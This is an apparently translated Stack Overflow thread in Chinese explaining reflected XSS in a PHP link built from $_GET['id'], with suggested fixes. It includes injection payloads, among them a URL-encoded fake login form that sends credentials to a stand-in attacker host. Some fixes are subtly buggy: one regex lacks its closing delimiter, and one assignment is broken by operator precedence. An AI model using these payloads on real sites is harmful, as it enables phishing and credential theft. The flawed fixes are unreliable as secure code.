为什么这是XSS攻击以及如何防止这种情况?

时间:2012-11-12 11:49:36

标签: php xss

我有这个PHP代码,我的CMS安全自动测试说这是一个XSS攻击。为什么以及如何解决这个问题?

$url = "news.php";
if (isset($_GET['id']))
  $url .= "?id=".$_GET["id"];
echo "<a href='{$url}'>News</a>";

5 个答案:

答案 0 :(得分:6)

这是XSS(跨站点脚本),因为有人可以这样称呼你的事情:

?id='></a><script type='text/javascript'>alert('xss');</script><a href='

基本上将代码转换为

<a href='news.php?id='></a><script type='text/javascript'>alert('xss');</script><a href=''>News</a>

现在每当有人访问此网站时,它都会加载并运行javascript alert('xss');,这可能是重定向程序或cookie窃取程序。

正如许多其他人所提到的,您可以使用filter_varintval(如果它是一个数字)来解决此问题。如果你想更高级,你也可以使用正则表达式匹配你的字符串。

想象一下你接受a-z A-Z和0-9。这可行:

if (preg_match("/^[0-9a-zA-Z]+$", $_GET["id"])) {
    //whatever
}

filter_input甚至还有一个手动输入,完全符合您的要求(将您的输入清理为链接):

<?php
    $search_html = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_SPECIAL_CHARS);
    $search_url = filter_input(INPUT_GET, 'search', FILTER_SANITIZE_ENCODED);
    echo "You have searched for $search_html.\n";
    echo "<a href='?search=$search_url'>Search again.</a>";
?>

答案 1 :(得分:2)

是啊..一个简单的附件

site.php?id=%27%3E%3C%2Fa%3E%3Cbr%3E%3Cbr%3EPlease+login+with+the+form+below+before%0D%0A%09proceeding%3A%3Cform+action%3D%22http%3A%2F%2Fhacker%2Ftest.php%22%3E%3Ctable%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3ELogin%3A%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dlogin%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3Ctr%3E%0D%0A%09%09%3Ctd%3EPassword%3A%0D%0A%09%09%3C%2Ftd%3E%0D%0A%09%09%3Ctd%3E%3Cinput+type%3Dtext+length%3D20+name%3Dpassword%3E%3C%2Ftd%3E%0D%0A%09%3C%2Ftr%3E%0D%0A%09%3C%2Ftable%3E%0D%0A%09%3Cinput+type%3Dsubmit+value%3DLOGIN%3E%0D%0A%3C%2Fform%3E%3Ca+href%3D%27
             ^
             |
        Start XSS Injection

这将输出

<a href='news.php?id='></a>
<br>
<br>
Please login with the form below before proceeding:
<form action="http://hacker/test.php">
    <table>
        <tr>
            <td>Login:</td>
            <td><input type=text length=20 name=login></td>
        </tr>
        <tr>
            <td>Password:</td>
            <td><input type=text length=20 name=password></td>
        </tr>
    </table>
    <input type=submit value=LOGIN>
</form>
<a href=''>News</a>

向您的客户询问用户名和密码以继续并将信息发送至http://hacker/test.php,然后他们会直接返回,就好像什么都没发生一样

要修复此尝试

$_GET["id"] = intval($_GET["id"]);

$_GET["id"] = filter_var($_GET["id"], FILTER_SANITIZE_NUMBER_INT);

答案 2 :(得分:0)

你需要urlencode:

$url .= "?id=" . urlencode($_GET["id"]);

答案 3 :(得分:0)

作为全局规则,您必须过滤GET和POST的内容。在使用$ _GET ['id']的内容之前使用filter_var。

$filtered_id = filter_var ($_GET['id'], FILTER_SANITIZE_NUMBER_INT);
// or at least
$id = (int) $_GET['id'];

答案 4 :(得分:0)

永远不要直接使用$ _GET或$ _POST !!! 你必须以某种方式逃脱它.. 例如..

$url = "news.php";
if (isset($_GET['id']) && $id=intval($_GET["id"])>0){
  $url .= "?id={$id}";
}
echo "<a href='{$url}'>News</a>";